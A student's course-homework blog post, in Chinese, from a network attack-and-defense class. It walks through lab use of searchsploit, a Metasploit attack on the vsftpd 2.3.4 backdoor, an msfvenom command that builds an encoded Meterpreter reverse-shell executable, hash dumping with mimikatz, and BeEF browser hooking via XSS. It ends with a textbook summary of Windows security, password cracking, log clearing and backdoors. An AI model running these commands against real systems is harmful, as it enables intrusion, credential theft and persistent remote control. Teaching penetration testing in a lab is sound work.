2017-2018-2 20179202《网络攻防技术》第七周作业

漏洞利用之检索与利用

searchsploit 会通过本地的 Exploit-DB查找漏洞信息。需要注意的是,searchsploit 使用 AND 运算符,使用的术语越多,滤除的结果越多。

漏洞利用之Metasploit基础

1.启动服务:

在kali中使用metasploit,需要先使用命令service postgresql start 开启PostgreSQL数据库服务,使用命令msfconsole开启metasploit服务,然后就可以完整的利用msf数据库查询exploit和记录。

2.路径介绍

kali中,msf的路径为/usr/share/metasploit-framework

3.基本命令

  • msfconsole:开启metasploit的console
  • msfvenom:是msfpayload和msfencode的混合体。msfpayload用来生成payload或者shellcode,msfencode是msf中的编码器

4.测试示例

首先用nmap -sV扫描目标主机和端口上运行的软件的版本。结果显示目标主机运行着ftp服务器,且版本为vsftpd 2.3.4(此版本的vsftpd存在着漏洞,攻击者可以远程获取目标主机的root权限)。

下面我们利用metasploit实施攻击。命令行输入msfconsole开启metasploit的console,然后输入search vsftpd ,搜索与vsftpd匹配的模块。

exploit/unix/ftp/vsftpd_234_backdoor针对的正好是扫描出的2.3.4版本,接下来就可以利用该模块对目标进行攻击。输入use exploit/unix/ftp/vsftpd_234_backdoor,提示符提示进入到该路径下,show options查看需要设置的相关项。提示需要设置RHOST和RPORT(端口默认为21),set RHOST 192.168.199.139设置目标IP。

接下来选择payload,输入命令set payload,按Tab键自动补齐攻击载荷cmd/unix/interact show options查看需要设置的相关项,设置结束后输入exploit即可实施攻击。

结果返回目标主机的shell,获取了目标主机的root权限,可以输入命令查看id、网络配置等,攻击也就可以顺利实施。

Meterpreter

Meterpreter是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后绐我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的—个meterpretershell的链接。

1.生成meterpreter后门

选定攻击载荷windows/meterpreter/reverse_tcp(针对windows,反向连接shell),使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.161 LPORT=2333 -e x86/shikata_ga_nai -i 5 -f exe -o /root/backdoor.exe生成后门。

2.监听设置

生成的后门需要有相应的监听。打开metasploit的console,配置一个反弹会话处理程序:

3.meterpreter shell

当目标机器成功执行backdoor.exe后,我们就取得了一个 meterpreter shell 。输入background返回msf,如果想返回meterpreter shell,输入sessions查看ID,输入sessions -i ID选择想返回的会话。

在meterpreter shell中输入help查看可执行的命令,如sysinfo显示目标系统信息,hashdump抓取哈希,pwd显示当前路径等。

meterpreter还有一些扩展工具,使用load + tab键查看这些工具,然后选择所需工具进行使用(load mimikatz 用来抓取系统明文)。

BeEF

对XSS漏洞往往需要一个强大的框架支持,如网络上的XSS平台,在KALI下,BeEf是一款丝毫不逊于XSS平台的工具。BeEf是浏览器攻击框架的简称,是一款专注于浏览器的渗透测试工具,它扩展了跨站漏洞的利用,能hook很多浏览器并可以执行很多内嵌命令。

命令行输入beef-xss,浏览器自动访问页面http://127.0.0.1:3000/ui/authentication,默认用户名和密码都为beef,登录后进入主界面。

我们假设被测试主机由于XSS漏洞请求到页面http://127.0.0.1:3000/demod/basic.html,这是一个测试页面,如果通过XSS把该页面加入页面请求中,也就是说每个访问某个页面的人都会访问该页面,则访问者就会被BeEF hook 到,即加入到 Online Browsers中。

这样在主界面左端就可以看到一个在线主机。右侧 Current Browser 标签页中显示一系列信息。

HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令。

我们以MISC下的Raw JavaScript模块为例进行测试,右端输入 Javascript code 给目标弹出窗口,点击Excute进行攻击。

如果成功,会弹出窗口提示:

这时 Command results 显示result=It worked!

下面介绍BeEF的Proxy功能。选中目标主机,点击右键,在菜单中选中use as Proxy。

在Rider选项卡中的 Forge Request 编辑并发送想要发送的内容,这里我们保持默认。

点击send,在History选项卡中会显示执行请求的信息。

执行完毕后(Processed显示complete)点击该条目,查看包的细节。借助于此,可以让目标访问特定的页面,如果特定页面有漏洞,就会中招 。

以上就是依赖目标做一个代理,然后请求一个特定页面的过程。BeEF还能够配合Metasploit进一步渗透主机。BeEF 默认不加载 Metasploit,如果要使用 Metasploit 丰富的攻击模块,需要做以下配置。

首先进入目录/usr/share/beef-xss/,修改 config.yaml 文件,将metasploit设置为true。

然后进入目录/usr/share/beef-xss/extensions/metasploit,修改 config.yaml 文件,host和callback_host设置成本机IP地址,然后再修改Custom路径即可。

设置完成后打开msfconsole,输入命令load msgrpc ServerHost=192.168.199.162 Pass=abc123

此时进入目录/usr/share/beef-xss/,执行./beef -x命令,重新加载metasploit模块。

service beef-xss start命令重启服务,然后重新登陆 BeEF,metasploit下增加了很多可以使用的模块,现在就可以使用metasploit的模块进行攻击了。

教材总结

一、Windows操作系统基本框架

1.windows基本结构分为运行于处理器特权模式的操作系统内核以及运行在处理器非特权模式的用户,即为内核态和用户态。

2.内核态:windows执行体、windows内核体、设备驱动程序、硬件抽象层、windows窗口与图形界面接口。

3.用户态:系统支持进程、环境子系统服务进程、服务进程、用户应用软件、核心子系统DLL。

4.核心机制:进程和线程管理机制、内存管理机制、文件管理机制、注册表管理机制、网络管理机制。

5.网络管理机制:网卡硬件驱动程序(物理层)、NDIS库以及miniport驱动程序(链路层)、TDI传输层(网络协议驱动)(网络层和传输层)、网络APID以及TDI客户端(会话层和表示层)、网络应用程序和服务进程(应用层)。

二、安全体系结构和机制

1.监控器模型:主体到客体的访问都通过监控器作中间,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录都由监控器生成审计日志。

2.核心:SRM安全引用监控器(内核中)、LSASS安全服务(用户态)、winlogon/netlogn、以及Eventlog

3.身份认证机制:

  • 安全主体:用户、用户组、计算机

  • 身份认证:本地身份认证(winlogon进程、GINA图形化登录窗口与LSASS服务)、网络身份认证(NTLM、Lanman、kerberos)

4.授权与访问控制机制:

  • 对象:文件,目录,注册表键值,内核对象,同步对象,私有对象,管道,内存,通信接口。

  • 属性组成:Owner SID,Group SID,DACL自主访问控制列表,SACL系统审计访问控制列表。

5.安全审计机制

6.其他安全机制:安全中心(防火墙、补丁自动更新、病毒防护),IPsec加载和验证机制,EPS加密文件系统,windows文件保护机制,捆绑的IE浏览器所提供的隐私保护和浏览器安全保护机制。

三、远程安全攻防技术

1.包括远程口令猜解攻击、windows网络服务攻击,windows客户端和用户攻击。

2.生命周期:

  • windows安全漏洞发现,利用与修补过程
  • 安全漏洞公开披露信息库:CVE,NVD,SecyrityFocus,OSVDB
  • 针对特定目标的渗透测试攻击过程:漏洞扫描测试、查找针对发现漏洞的渗透代码、实施渗透测试
  • 使用metasploit软件实施渗透测试:用户接口(CLI、Console,web,GUI)

3.远程口令猜解攻击:

  • 远程口令猜解:SMB协议(tcp445、tcp139),其他包括WMI服务、TS远程桌面终端服务,MY SQL数据库服务、SharePoint。工具包括:Legion、enum、smbgrind、NTScan、XScan、流光
  • 远程口令字交换通信窃听与破解:NTLM、Lanman、NTLMV2和kerberos网络认证协议的弱点。
  • 远程口令猜解的防范:关闭不必要的易受攻击的网络服务、配置主机防火墙来限制某些端口服务、网络防火墙限制这些服务的访问、禁用过时且有安全缺陷的Lanman和NTLM、指定强口令策略。

4.网络服务远程渗透攻击:针对NETBIOS服务的著名漏洞和攻击、针对SMB服务的著名漏洞和攻击、针对MSRPC服务的著名漏洞和攻击、针对windows系统上微软网络的远程渗透攻击、针对windows系统上第三方服务的远程渗透攻击。

防范措施:最基本的是尽量避免与消除这些渗透攻击所依赖的服务软件安全漏洞。

四、本地安全攻防技术

1.本地提权攻击:利用操作系统内核、特权用户启动程序中安全缺陷与漏洞,原因是服务器和桌面系统没有即时进行补丁更新。

2.敏感信息窃取:

  • windows系统口令密文提取技术(拷贝口令密文文件、rdisk工具备份、pwdumpx从SAM文件或者活动目录中提取口令密文)
  • windows系统口令字破解技术(L0phtCrack、John the Ripper、Cain)
  • 用户敏感数据窃取:find、findstr、grep、meterpreter
  • 本地敏感信息窃取防范:选择高强度、高防御的口令,使用更安全的加密明文算法,安全配置策略。

五、windows消灭踪迹

1.消灭踪迹关闭审计功能、清理事件日志。

防范措施:事先设置系统审计和网络服务审计,日志记录在不可擦除的CDROM上。

2.远控和后门程序

  • 远控:命令行远控工具(Netcat,psexec,meterpreter),图形化远控工具(VNC,RemoteAdmin,PCanyware)
  • 后门程序:国外(BO、BO2K),国内(冰河、灰鸽子、广外女生、PCshare、磁碟机、机器狗等)
  • 防范措施:后门检测软件、杀软、rootkitrerealer、IcSword。
posted @ 2018-04-22 18:12  20179202杨晓桐  阅读(592)  评论(0编辑  收藏  举报